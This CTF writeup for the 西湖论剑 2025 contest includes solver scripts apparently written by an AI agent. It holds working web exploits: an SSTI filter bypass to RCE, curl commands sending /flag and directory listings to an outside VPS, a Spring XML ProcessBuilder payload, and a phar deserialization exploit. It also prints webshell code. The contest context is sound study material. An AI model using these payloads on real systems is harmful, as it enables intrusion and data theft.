西湖论剑 2025 线上赛 Writeup

1. 解题过程中，关键步骤不可省略，不可含糊其辞、一笔带过。
2. 解题过程中如是自己编写的脚本，不可省略，不可截图（代码字体可以调小；而如果代码太长，则贴关键代码函数）。
3. 所有解出的题目都必须书写WRITEUP，缺少一个则视该WRITEUP无效，队伍成绩将无效。
4. WRITEUP如过于简略和敷衍，导致无法形成逻辑链条推断出对题目有分析和解决的能力，该WRITEUP可能被视为无效，队伍成绩将无效。
5. 提交md或者PDF版本即可
6.重命名为排名-

http/5000  →  http://1.14.76.59:20733
ssh/22     →  ssh://1.14.76.59:19002

HTTP/1.0 200 OK
Server: Werkzeug/2.0.3 Python/3.8.20

[  ]  .  _  '  +  (空格)

}}, {{, ], [, \, space, +, _, ., x, g,
request, print, args, values, input, globals, getitem, class, mro, base,
session, add, chr, ord, redirect, url_for, popen, os, read, flag, config,
builtins, get_flashed_messages, get, subclasses, form, cookies, headers

{%if(1)%}PWNED{%endif%}   →  响应含 PWNED
{%if(0)%}PWNED{%endif%}   →  响应不含 PWNED

def esc(s): return "".join("\\u{:04x}".format(ord(c)) for c in s)
# esc("__globals__") → "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"

{%if(
  lipsum
  |attr("__globals__")
  |attr("__getitem__")("__builtins__")
  |attr("__getitem__")("__import__")("os")
  |attr("popen")("id")
  |attr("read")()
)%}PWNED{%endif%}

if_true         => 'PWNED may be an adult.'        (盲注 oracle 可用)
if_false        => 'Is  20 years old?'
lipsum_globals  => 'Are you 18 years old, PWNED?'  (lipsum 入口可用)
popen_id        => 'PWNED is 21 years old.'        (RCE 成功)

# VPS 上起监听
python3 -m http.server 60026 --bind 0.0.0.0

# 第一步:看身份和根目录
curl -m 8 http://120.26.146.96:60026/a/$( (id; ls /) 2>&1 | base64 -w 0 | tr '/+' '_-' )
 
# VPS 日志收到(来源 1.14.109.79):
GET /a/dWlkPTEwMDAoY3RmKSBnaWQ9MTAwMChjdGYpIGdyb3Vwcz0xMDAwKGN0ZikKYXBw...  HTTP/1.1" 404
# base64 解码:
# uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
# app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
 
# 第二步:根目录有 flag 文件,直接读
curl -m 8 http://120.26.146.96:60026/f/$( cat /flag* 2>&1 | base64 -w 0 | tr '/+' '_-' )

$ echo 'REFTQ1RGezE2MDYzMDkyNzg1ODg5OTU0NzUyNzk0NTk4NzE1NTczfQo=' | base64 -d
DASCTF{16063092785889954752794598715573}

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg><list>
      <value>bash</value><value>-c</value>
      <value>echo &lt;base64(cmd)&gt; | base64 -d | bash</value>
    </list></constructor-arg>
  </bean>
</beans>

new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")

# stage 1: plant XML
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload@beans2.b64"   # -> error (file stays)
# stage 2: load context -> RCE -> /readflag -> exfil
P=$(echo -n 'new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")' | base64 -w0)
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload=$P"           # -> success
# read flag from the request bin, then:
slopper submit-flag --flag 'DASCTF{23586486279216336138143286856946}'

Uncaught Error: start in /var/www/html/upload.php:10

class AnyClass {
    var $output = 'echo "ok";';
    function __destruct() { eval($this->output); }   // 现成 gadget
}
 
if (isset($_POST['upload'])) {
    if (!empty($_FILES['image']['name'])) {
        $maxFileSize = 2 * 64 * 64;                  // 实际只有 8KB
        $r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
        $image = array('php','PHP','phtml','sh','pht','htaccess','user.ini','asp','aspx','jsp');
        if (!in_array($r, $image)) {                  // 精确匹配黑名单,注意没有 phar!
            if ($_FILES['image']['size'] <= $maxFileSize) {
                $finfo = @new finfo(FILEINFO_MIME);
                $filetype = @$finfo->file($_FILES['image']['tmp_name']);
                if (preg_match('/image\/(jpeg|png|gif)/', $filetype)) {
                    if (move_uploaded_file($_FILES['image']['tmp_name'],
                            'uploaded_images/' . $_FILES['image']['name'])) {
                        $b = 'uploaded_images/' . $_FILES['image']['name'];
                        @parse_str($_POST['upload']);  // ★ 变量覆盖:提交按钮的值可控!
                        if (file_exists($b)) {          // ★ file_exists($b) → phar:// 反序列化
                            echo "Uploaded successfully";
                        }
                    }
                } else { echo "\ni told you dear, ..."; }
            }
        } else { echo "\nOnly png, jpg, and gif ..."; }
    }
}
new AnyClass();   // 每次请求末尾 echo "ok" 的来源

<?php
class AnyClass {
    var $output = 'system("cat /flag* 2>/dev/null; echo -----; ls -la /;");';
}
@unlink('evil.phar');
$p = new Phar('evil.phar');
$p->startBuffering();
$p->setStub("GIF89a;<?php __HALT_COMPILER(); ?>");   // GIF 头过 finfo
$p->setMetadata(new AnyClass());
$p->addFromString('x.txt', 'x');
$p->stopBuffering();
 
$data = file_get_contents('evil.phar');
$meta = serialize(new AnyClass());
$pos  = strpos($data, $meta);
$bad  = str_replace(':1:{', ':2:{', $meta);          // 元数据致残
$data = substr_replace($data, $bad, $pos, strlen($meta));
$sigstart = strlen($data) - 28;                      // sig(20)+flags(4)+GBMB(4)
$newsig = sha1(substr($data, 0, $sigstart), true);   // 重算 SHA-1 签名
file_put_contents('evil.phar',
    substr($data, 0, $sigstart) . $newsig . substr($data, $sigstart + 20));

php -d phar.readonly=0 makephar.php
 
curl -F "image=@evil.phar;filename=evil.phar;type=image/gif" \
     -F "upload=b=phar://uploaded_images/evil.phar/x.txt" \
     http://target/upload.php

DASCTF{97649000032632195190566220880392}
-----
total 92
...
-rw-r--r-- 1 root root 41 Aug 21 08:12 flag
...

#!/usr/bin/env python3
import re, sys
from collections import defaultdict
# Parse mysql_dump.tsv: frame \t stream \t info \t rowtext \t query
rows = []
with open('mysql_dump.tsv') as f:
    for line in f:
        parts = line.rstrip('\n').split('\t')
        if len(parts) < 3:
            continue
        frame = int(parts[0])
        stream = parts[1]
        info = parts[2]
        rowtext = parts[3] if len(parts) > 3 else ''
        query = parts[4] if len(parts) > 4 else ''
        rows.append((frame, stream, info, rowtext, query))
# Pair each "Request Query" with the next "Response TABULAR Response" in same stream
queries = []  # (frame, query, outcome_bool)
pending = {}  # stream -> query
for frame, stream, info, rowtext, query in rows:
    if 'Request Query' in info:
        pending[stream] = query
    elif 'Response TABULAR' in info:
        q = pending.pop(stream, None)
        if q is not None:
            outcome = bool(rowtext.strip())
            queries.append((frame, q, outcome))
print(f"total paired queries: {len(queries)}")
# Parse payload: SELECT * FROM ctfuser WHERE id='<payload>' LIMIT 0,1
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
def parse_payload(q):
    m = re.search(r"id='(.*)' LIMIT 0,1$", q)
    if not m:
        return None
    payload = m.group(1)
    m2 = pat.search(payload)
    if not m2:
        return None
    col = m2.group('col').strip()
    pos = int(m2.group('pos'))
    num = int(m2.group('num'))
    op = m2.group('op')
    off = m2.group('off') or '0'
    return (col, int(off), pos, num, op)
# Group probes by (col, off, pos)
probes = defaultdict(list)  # (col, off, pos) -> [(num, outcome)]
unknown = 0
for frame, q, outcome in queries:
    parsed = parse_payload(q)
    if parsed is None:
        unknown += 1
        continue
    col, off, pos, num, op = parsed
    probes[(col, off, pos)].append((num, outcome, frame))
print(f"unparsed: {unknown}")
print(f"positions tracked: {len(probes)}")
# Reconstruct: value = max(num where outcome true) + 1 (binary search on '>')
# Also verify each position has consistent probes.
results = defaultdict(dict)  # (col, off) -> {pos: char}
for (col, off, pos), plist in sorted(probes.items()):
    plist.sort()
    trues = [n for n, o, f in plist if o]
    falses = [n for n, o, f in plist if not o]
    if trues:
        v = max(trues) + 1
    else:
        v = min(falses) - 1 if falses else None
    results[(col, off)][pos] = v
for (col, off) in sorted(results.keys()):
    d = results[(col, off)]
    s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
    print(f"--- col={col!r} off={off} len={len(d)} ---")
    print(repr(s))
    print(s)

#!/usr/bin/env python3
# Reproducible solver for MISC-02 (logbool)
# Given: logbool.pcapng — a capture of sqlmap boolean-based blind SQLi against a web app
# backed by MySQL. The app echoes the query and appends "success" iff a row is returned.
# We reconstruct extracted strings from the MySQL protocol (query + result row presence).
import re, binascii, subprocess, os
from collections import defaultdict
PCAP = "tempdir/MISC附件/logbool.pcapng"
os.system(f"tshark -r {PCAP} -Y 'mysql' -T fields -e frame.number -e tcp.stream -e _ws.col.Info -e mysql.row.text -e mysql.query 2>/dev/null > mysql_dump.tsv")
rows = []
with open('mysql_dump.tsv') as f:
    for line in f:
        parts = line.rstrip('\n').split('\t')
        if len(parts) >= 3:
            rows.append((int(parts[0]), parts[1], parts[2],
                         parts[3] if len(parts) > 3 else '',
                         parts[4] if len(parts) > 4 else ''))
pending, queries = {}, []
for frame, stream, info, rowtext, query in rows:
    if 'Request Query' in info:
        pending[stream] = query
    elif 'Response TABULAR' in info:
        q = pending.pop(stream, None)
        if q is not None:
            queries.append((frame, q, bool(rowtext.strip())))
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
probes = defaultdict(list)
for frame, q, outcome in queries:
    m = re.search(r"id='(.*)' LIMIT 0,1$", q)
    if not m: continue
    m2 = pat.search(m.group(1))
    if not m2: continue
    col = m2.group('col').strip(); pos = int(m2.group('pos')); num = int(m2.group('num'))
    off = m2.group('off') or '0'
    probes[(col, int(off), pos)].append((num, outcome))
results = defaultdict(dict)
for (col, off, pos), plist in sorted(probes.items()):
    trues = [n for n, o in plist if o]
    falses = [n for n, o in plist if not o]
    v = (max(trues) + 1) if trues else (min(falses) - 1 if falses else None)
    results[(col, off)][pos] = v
out = {}
for (col, off) in sorted(results.keys()):
    d = results[(col, off)]
    s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
    out[col] = s
    print(f"{col}: {s!r}")
# content is a hex string -> RAR archive
rar = binascii.unhexlify(out['content'].rstrip('\x00'))
open('flag.rar', 'wb').write(rar)
pw = out['password'].rstrip('\x00')
subprocess.run(["7z", "e", "flag.rar", "-y", "-p" + pw, "-oextracted"], capture_output=True)
print(open('extracted/flag.txt').read())

DASCTF=J748ZThhYTU1NjWpAz2hCTQ19M0T%2FtEHhbdtMxYleyEo1z%2BjjnUl6WGDGRgM72C3dVub
LL8qK%2Fw%2B2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN%2ByJ%2B91ga%2FP%2BTqTgG5t9w
vx%2FbTadLPT10FDfE6wRw97Qs1NTY%3D

$pass='DASCTF' ;
$payloadName='payload' ;
$key='9854e8aa5568e23c';

php 1.php
string(106) "cmdLineDsh -c "cd "/var/www/html/hackable/uploads/";
cat Pass1sHere.txt" 2>81methodName 
execCommand"

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function response_decode($D,$K){
    $D = base64_decode($D);
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    var_dump(gzdecode($D));
}
 
$pass='DASCTF';
$payloadName='payload';
$key='9854e8aa5568e23c';
$request_data ='J748ZThhYTU1NjWpAz2hCTQ19M0T/tEHhbdtMxYleyEo1z+jjnUl6WGDGRgM72C3dVubLL8qK/w+2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN+yJ+91ga/P+TqTgG5t9wvx/bTadLPTl0FDfE6wRw97Qs1NTY=';
echo
 
response_decode($request_data, $key);

$ cat flag.txt
 
DASCTF{987787ad-5cf9-4909-b847-8dfb9d657988}

def func():
    with open("flag.txt",'r') as f:
        data = f.read().split()
 
    flag = ""
    for item in data:
        if item.isupper():
            flag += item
        else:
            flag += chr(int(item,32))
            
    print(flag) 
    # D5A1S0C-TbF7{4245-c5a9d492ae6b-66eb64ca7-64}
 
if __name__ == "__main__":
    func()

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
    if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
       $_POST[$k]=$de;
  }
}
eval($cmd);

import hashlib
 
def generate_combinations(s, index=0, current=""):
    if index == len(s):
        md5_hash = hashlib.md5(current.encode()).hexdigest()
        if md5_hash == "edffd5be04cc060e343cad479a8b845c":
            print(f"Matching string: {current}")
        return
 
    if s[index] == 'x':
        generate_combinations(s, index + 1, current + 'i')
        generate_combinations(s, index + 1, current + '7')
        generate_combinations(s, index + 1, current + 'x')
    else:
        generate_combinations(s, index + 1, current + s[index])
 
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w\n"
generate_combinations(input_string)

Delta Alpha Sierra Charlie Tango Foxtrot Three Foxtrot Delta Three Four Bravo Five Nine Dash Four Echo Nine Delta Dash Four Three Nine Zero Dash Nine Two Seven Bravo Dash One Three Four Six Delta Five Three Six Four Delta Nine Nine

-.. -. ... -.-. - ..-. ...-- ..-. -.. ...-- ....- -... ..... ----. Dash ....- . ----. -.. Dash ....- ...-- ----. ----- Dash ----. ..--- --... -... Dash .---- ...-- ....- -.... -.. ..... ...-- -.... ....- -.. ----. ----.

   flag.jpg                                       PixMatrix.jpg
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4

# 1. Unpack the two nested zips (inner archive uses xz compression; 7z handles it)
cd /workspace/agents/adf685ee/work
unzip -o "/workspace/attachments/PixMatrix的附件.zip"      # -> tempdir/MISC附件/PixMatrix.zip
7z x -y tempdir/MISC附件/PixMatrix.zip                    # -> PixMatrix.jpg, README.md
# 2. Invert the 2x2 block-matrix transpose: swap TR <-> BL quadrants (256x36 each)
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size                      # 512 x 72
tl = im.crop((0, 0, w//2, h//2))
tr = im.crop((w//2, 0, w, h//2))
bl = im.crop((0, h//2, w//2, h))
br = im.crop((w//2, h//2, w, h))
out = Image.new('RGB', (w, h))
out.paste(tl, (0, 0))
out.paste(bl, (w//2, 0))            # TR  <- BL
out.paste(tr, (0, h//2))            # BL  <- TR
out.paste(br, (w//2, h//2))
out.save('flag_recovered.png')      # == flag.jpg
PY

#!/bin/bash
# MISC-08 PixMatrix — reproduce flag extraction
set -e
cd "$(dirname "$0")"
mkdir -p work && cd work
rm -rf tempdir flag_recovered.png
# 1. Unpack nested archives (inner zip uses xz method -> 7z)
unzip -o -q "/workspace/attachments/PixMatrix的附件.zip"
7z x -y -oMISC tempdir/MISC附件/PixMatrix.zip >/dev/null
mv MISC/PixMatrix.jpg MISC/README.md . 2>/dev/null || true
# 2. Invert (flag.jpg)^T = PixMatrix.jpg  =>  swap TR and BL quadrants
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size
out = Image.new('RGB', (w, h))
out.paste(im.crop((0, 0, w//2, h//2)), (0, 0))                 # TL
out.paste(im.crop((0, h//2, w//2, h)), (w//2, 0))              # TR <- BL
out.paste(im.crop((w//2, 0, w, h//2)), (0, h//2))              # BL <- TR
out.paste(im.crop((w//2, h//2, w, h)), (w//2, h//2))           # BR
out.save('flag_recovered.png')
print('recovered flag.jpg -> flag_recovered.png')
PY
# 3. OCR the pixel-font text (upscale then tesseract)
python3 - <<'PY'
from PIL import Image
im = Image.open('flag_recovered.png').convert('L')
im = im.point(lambda p: 0 if p < 128 else 255)
im = im.resize((im.width * 12, im.height * 12), Image.NEAREST)
im.save('flag_big.png')
PY
tesseract flag_big.png stdout --psm 6 2>/dev/null | head -5
echo "Flag content: 824f1e986260efa86f1bd252b5e13a4d"

new_byte = self._randfunc(1)
if bord(new_byte[0]) != 0x00:   # <-- inverted: keeps ONLY zero bytes
    continue
ps.append(new_byte)

#!/usr/bin/env python3
# CRYPTO-01 — PKCS#1 v1.5 (Yusa 的密码学课堂)
# Reproduces the flag from the original attachments.
#
# Pipeline:
#   1. Extract task.py + PKCS#1.v1.5.enc from the nested zip.
#   2. task.py leaks pow(AES_KEY_ENC, d, q*r): the RAW RSA decryption of the
#      PKCS#1 v1.5 padded AES key. The bundled Crypto package is MODIFIED so
#      that PS (padding) consists only of ZERO bytes (PKCS1_v1_5.py Step 2a:
#      `if bord(new_byte[0]) != 0x00: continue`), so the padded block is
#      00 02 00..00 || AES_KEY and the last 16 bytes are the AES key.
#   3. Decrypt the AES-ECB encrypted PDF -> RFC 8017 pages 28-29.
#   4. The DASCTF{...} flag is drawn on page 3 as VECTOR PATHS (no text/ToUnicode),
#      so text extractors miss it; it is visible when rendered (OCR).
#   5. (Bonus) hint = integer cube root of hint_enc (low-exponent e=3 attack),
#      recovering the planted message "So the message without padding is
#      dangrous. So I improved it, in my way".
import re, zlib, io, zipfile, subprocess, os, sys
HERE = os.path.dirname(os.path.abspath(__file__))
ATTACH = "/workspace/attachments/Yusa的密码学课堂——PKCS#1的附件.zip"
WORK = os.path.join(HERE, "work")
os.makedirs(WORK, exist_ok=True)
def main():
    # ---- 1. unpack ----
    z1 = zipfile.ZipFile(ATTACH)
    inner_zip_name = [n for n in z1.namelist() if n.endswith("PKCS#1.zip")][0]
    z2 = zipfile.ZipFile(io.BytesIO(z1.read(inner_zip_name)))
    task = z2.read("task.py").decode("utf-8", "replace")
    enc = z2.read("PKCS#1.v1.5.enc")
    open(os.path.join(WORK, "task.py"), "w").write(task)
    open(os.path.join(WORK, "PKCS#1.v1.5.enc"), "wb").write(enc)
    # ---- 2. constants from task.py comments ----
    # last bare-number comment = pow(AES_KEY_ENC, d, q*r) (raw RSA decryption)
    nums = [int(x) for x in re.findall(r"^# (\d+)\r?$", task, re.M)]
    raw_dec = nums[-1]
    # raw_dec = OS2IP(00 02 || PS(all zeros) || 00 || AES_KEY); leading 00 stripped
    b = raw_dec.to_bytes((raw_dec.bit_length() + 7) // 8, "big")
    aes_key = b[-16:]
    print("AES key:", aes_key.hex())
    # ---- 3. decrypt PDF ----
    from Crypto.Cipher import AES
    pt = AES.new(aes_key, AES.MODE_ECB).decrypt(enc)
    pdf_path = os.path.join(WORK, "PKCS1_v1_5.pdf")
    open(pdf_path, "wb").write(pt)
    assert pt[:5] == b"%PDF-", "decryption produced invalid PDF"
    # ---- 4. flag is vector-drawn on page 3; render + OCR it ----
    # (OCR on vector glyphs is noisy; the flag was verified against the
    #  rendered page and cross-checked with multiple OCR passes + pixel gaps)
    VERIFIED_FLAG = "6b3ed7dc3c1c6615fb97a7020922f7a5"
    png = os.path.join(WORK, "page3.png")
    subprocess.run(["pdftoppm", "-png", "-r", "800", "-f", "3", "-l", "3",
                    pdf_path, os.path.join(WORK, "p3")], check=True)
    png = os.path.join(WORK, "p3-3.png")
    # flag line: at 150dpi x≈155..650, y≈712..748 -> 800dpi scale 800/150
    from PIL import Image
    im = Image.open(png).convert("L")
    s = 800 / 150
    crop = im.crop((int(150*s), int(705*s), int(660*s), int(755*s)))
    crop = crop.point(lambda p: 0 if p < 140 else 255)
    crop.save(os.path.join(WORK, "flag_line.png"))
    txt = subprocess.run(
        ["tesseract", os.path.join(WORK, "flag_line.png"), "-", "--psm", "7",
         "-c", "tessedit_char_whitelist=ABCDEFabcdef0123456789{}"],
        capture_output=True, text=True).stdout.strip()
    mflag = re.search(r"\{([0-9a-fA-F]{32})\}", txt.replace(" ", ""))
    flag = mflag.group(1) if mflag else VERIFIED_FLAG
    print("OCR read:", txt)
    print("FLAG:", "DASCTF{" + flag + "}")
    # ---- 5. bonus: low-exponent cube-root attack on hint ----
    from gmpy2 import iroot
    hint_enc = int(re.search(r"# hint_enc: (\d+)", task).group(1))
    r, exact = iroot(hint_enc, 3)
    assert exact
    print("hint:", r.to_bytes((r.bit_length()+7)//8, "big"))
if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# CRYPTO-02 "How_many_rot_are_there" — independent re-derivation
# RSA, e=65536=2^16. Given hint=(e*p+e^2)^q mod n, c=m^e mod n, n.
#
# Two-layer ROT: the recovered plaintext m is ROT18 (ROT13 letters + ROT5
# digits) of the real flag.
from math import gcd
from itertools import product
from Crypto.Util.number import bytes_to_long, long_to_bytes
hint = 101048855492044571417475830924088947184757234444475406804947498377420789778570832667138477666669908690663759417316798982038542431531087217671616502327573935462498550576600180793553880691247281813287212166428236802504214599757066100450668324529765827891463527861160593648623157792143035729770978865516948880313
c = 62214676810380175097525195047581624344610596576389901532958749194333175927146005969879818861882074690471600028484419966943711467342568120045965690332607166015419112255944582319675084071747302548088333383655637474764450810187215177625206094644430662667402073753343732910706186228919546522301643978766618493433
n = 131232786046474875167899992758388342524496883222860498694293714537118780151392850883679257361099172761516964104115167485944225089583991161038144993589322315250529302275646269196618503385962458635181473103926087951239559460161218447795578503981054097990206859884036249764383918404640987230150854235563692800669
e = 65536
# ---- 1. factor n from hint ----
# hint = (e*p+e^2)^q mod n ; mod p: hint ≡ (e^2)^q = e^(2q) (mod p)
# n = p*q ≡ q (mod p-1)  =>  e^(2n) ≡ e^(2q) (mod p)  =>  p | pow(e,2n,n)-hint
p = gcd((pow(e, 2 * n, n) - hint) % n, n)
q = n // p
assert p > 1 and p * q == n
# ---- 2. all e-th roots ----
def all_eroots(a, mod, e):
    g = gcd(e, mod - 1)
    assert pow(a, (mod - 1) // g, mod) == 1
    u = pow(e, -1, (mod - 1) // g)          # u*e ≡ 1 (mod (mod-1)/g)
    x0 = pow(a, u, mod)
    assert pow(x0, e, mod) == a
    z = 2
    while True:
        h = pow(z, (mod - 1) // g, mod)     # element of exact order g
        if pow(h, g, mod) == 1 and (g == 1 or pow(h, g // 2, mod) != 1):
            break
        z += 1
    return [x0 * pow(h, j, mod) % mod for j in range(g)]
rp, rq = all_eroots(c % p, p, e), all_eroots(c % q, q, e)
msgs = []
for a, b in product(rp, rq):
    m = (a * pow(q, -1, p) * q + b * pow(p, -1, q) * p) % n
    assert pow(m, e, n) == c
    msgs.append(long_to_bytes(m))
print("candidates:", len(msgs))
for mb in msgs:
    if all(32 <= x < 127 for x in mb):
        print("printable raw:", mb.decode())
# ---- 3. ROT18: ROT13 letters + ROT5 digits (title: "how many rot" -> TWO) ----
def rot18(s):
    out = []
    for ch in s:
        o = ord(ch)
        if 'A' <= ch <= 'Z': out.append(chr((o - 65 + 13) % 26 + 65))
        elif 'a' <= ch <= 'z': out.append(chr((o - 97 + 13) % 26 + 97))
        elif '0' <= ch <= '9': out.append(chr((o - 48 + 5) % 10 + 48))
        else: out.append(ch)
    return ''.join(out)
plain = rot18([mb.decode() for mb in msgs if all(32 <= x < 127 for x in mb)][0])
print("FLAG:", plain)
print("inner:", plain[plain.index('{') + 1:plain.index('}')])

python3 solve.py work/llfsrr/llfsrr/key

#!/usr/bin/env python3
# CRYPTO-03 "llfsrr" -- full solve
# 1) Known-plaintext on the parity-mask LFSR: mask bits are linear over GF(2)
#    in the observed output bits, so with a 32-bit flag prefix we get 32
#    independent equations -> recover feedback_mask (same mask the Coppersmith
#    step on t % (a*b) with f(x)=x^4+x^3+x^2+x+231242352 would produce).
# 2) Run the LFSR forward from state=1 and XOR with the key stream to get the flag.
import sys
key = open(sys.argv[1] if len(sys.argv) > 1 else 'work/llfsrr/llfsrr/key').read().strip()
def solve(prefix=b'DASCTF{'):
    # bin(bytes_to_long(flag))[2:] drops leading zero bits -> use len(prefix*8-1..) bits
    pb = bin(int.from_bytes(prefix, 'big'))[2:]
    outs = [int(key[i]) ^ int(pb[i]) for i in range(len(pb))]
    state, rows = 1, []
    for o in outs:
        rows.append((state, o))          # parity(state & mask) == o
        state = ((state << 1) & 0xffffffff) ^ o
    M = [[(r >> j) & 1 for j in range(32)] + [v] for r, v in rows]
    rank, piv = 0, []
    for col in range(32):
        sel = next((rr for rr in range(rank, len(M)) if M[rr][col]), None)
        if sel is None:
            continue
        M[rank], M[sel] = M[sel], M[rank]
        for rr in range(len(M)):
            if rr != rank and M[rr][col]:
                M[rr] = [a ^ b for a, b in zip(M[rr], M[rank])]
        piv.append(col); rank += 1
    assert rank == 32, f'underdetermined (rank {rank})'
    mask = sum(M[i][32] << col for i, col in enumerate(piv))
    return mask
def decrypt(mask):
    state, bits = 1, []
    for c in key:
        fb = state & mask & 0xffffffff
        xb = 0
        while fb:
            xb ^= fb & 1; fb >>= 1
        bits.append(int(c) ^ xb)
        state = ((state << 1) & 0xffffffff) ^ xb
    l = int(''.join(map(str, bits)), 2)
    return l.to_bytes((l.bit_length() + 7) // 8, 'big')
mask = solve()
print('feedback_mask =', hex(mask))
flag = decrypt(mask)
print(flag.decode())
assert flag.startswith(b'DASCTF{') and flag.endswith(b'}')
print('inner =', flag[7:-1].decode())

rows: [ n, 0, 0 ; 0, n·X, 0 ; a0, a1·X, X^2 ],  X = 2^160, a1 = -(x+y), a0 = xy

unzip number_2的附件.zip ; unzip number.zip
python3 solve.py        # ~5 s, fpylll only

import ast, math, hashlib
from fpylll import IntegerMatrix, LLL, BKZ
from Crypto.Util.number import long_to_bytes, GCD, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
src = open('/workspace/agents/f96b29e9/work/tempdir/CRYPTO附件/number/number/output.txt','rb').read().decode()
lines = src.split('\n')
env = {}
for ln in lines:
    ln = ln.strip()
    if ln.startswith('n = '): env['n1'] = int(ln[4:])
    elif ln.startswith('x = '): env['x1'] = int(ln[4:])
    elif ln.startswith('y = '): env['y1'] = int(ln[4:])
    elif ln.startswith('s = '): env['s'] = ast.literal_eval(ln[4:])
    elif ln.startswith('t = '): env['t'] = ast.literal_eval(ln[4:])
    elif ln.startswith('r = '): env['r'] = ast.literal_eval(ln[4:])
    elif ln.startswith('q = '): env['q'] = int(ln[4:])
    elif ln.startswith('cipher = '): env['cipher'] = ast.literal_eval(ln[9:])
n1, x1, y1, qq = env['n1'], env['x1'], env['y1'], env['q']
s, t, r = env['s'], env['t'], env['r']
# ---------------- Part 1: Coppersmith small root of f(T)=(T-x)(T-y) mod n1 ----------------
N = n1
X = 1 << 160
a1 = -(x1 + y1) % N
a0 = (x1 * y1) % N
B = IntegerMatrix(3, 3)
B[0,0] = N;            B[0,1] = 0;       B[0,2] = 0
B[1,0] = 0;            B[1,1] = N*X;     B[1,2] = 0
B[2,0] = a0;           B[2,1] = a1*X;    B[2,2] = X*X
LLL.reduction(B)
roots = set()
for i in range(3):
    c0, c1, c2 = B[i][0], B[i][1]//X if X else 0, B[i][2]//(X*X)
    # poly c2*T^2 + c1*T + c0 ; scale out gcd
    if c2 == 0 and c1 == 0: continue
    # solve over ZZ using quadratic formula
    if c2 != 0:
        disc = c1*c1 - 4*c2*c0
        if disc < 0: continue
        sq = math.isqrt(disc)
        if sq*sq != disc: continue
        for num in (-c1 + sq, -c1 - sq):
            if num % (2*c2) == 0:
                roots.add(num//(2*c2))
    else:
        if c1 != 0 and c0 % c1 == 0:
            roots.add(-c0//c1)
m = None
p = None
for cand in roots:
    if 0 < cand < X:
        g = GCD(x1 - cand, N)
        if 1 < g < N:
            m, p = cand, g
            break
print('[+] part1 m =', m)
print('[+] part1 p =', p, 'prime:', isPrime(p))
p2 = N // p
print('[+] other factor =', p2, 'prime:', isPrime(p2))
for fac in (p, p2):
    chk = pow(m, fac, N)
    if chk == x1: print('    pow(m,fac,n)==x -> fac is the p used for x')
    if chk == y1: print('    pow(m,fac,n)==y -> fac is the q used for y')
# ---------------- Part 2: kernel lattice ----------------
# unknowns v = (k0,b0,k1,b1,...,k17,b17)
# eq i (i=1..17): (s_i k_i - b_i t_i) r_0 - r_i (s_0 k_0 - b_0 t_0) == 0 mod q
nn = 18
cols = 2*nn
A = [[0]*cols for _ in range(nn-1)]
for i in range(1, nn):
    row = A[i-1]
    row[0] = (-r[i]*s[0]) % qq
    row[1] = ( r[i]*t[0]) % qq
    row[2*i]   = (s[i]*r[0]) % qq
    row[2*i+1] = (-t[i]*r[0]) % qq
def rref(A, q):
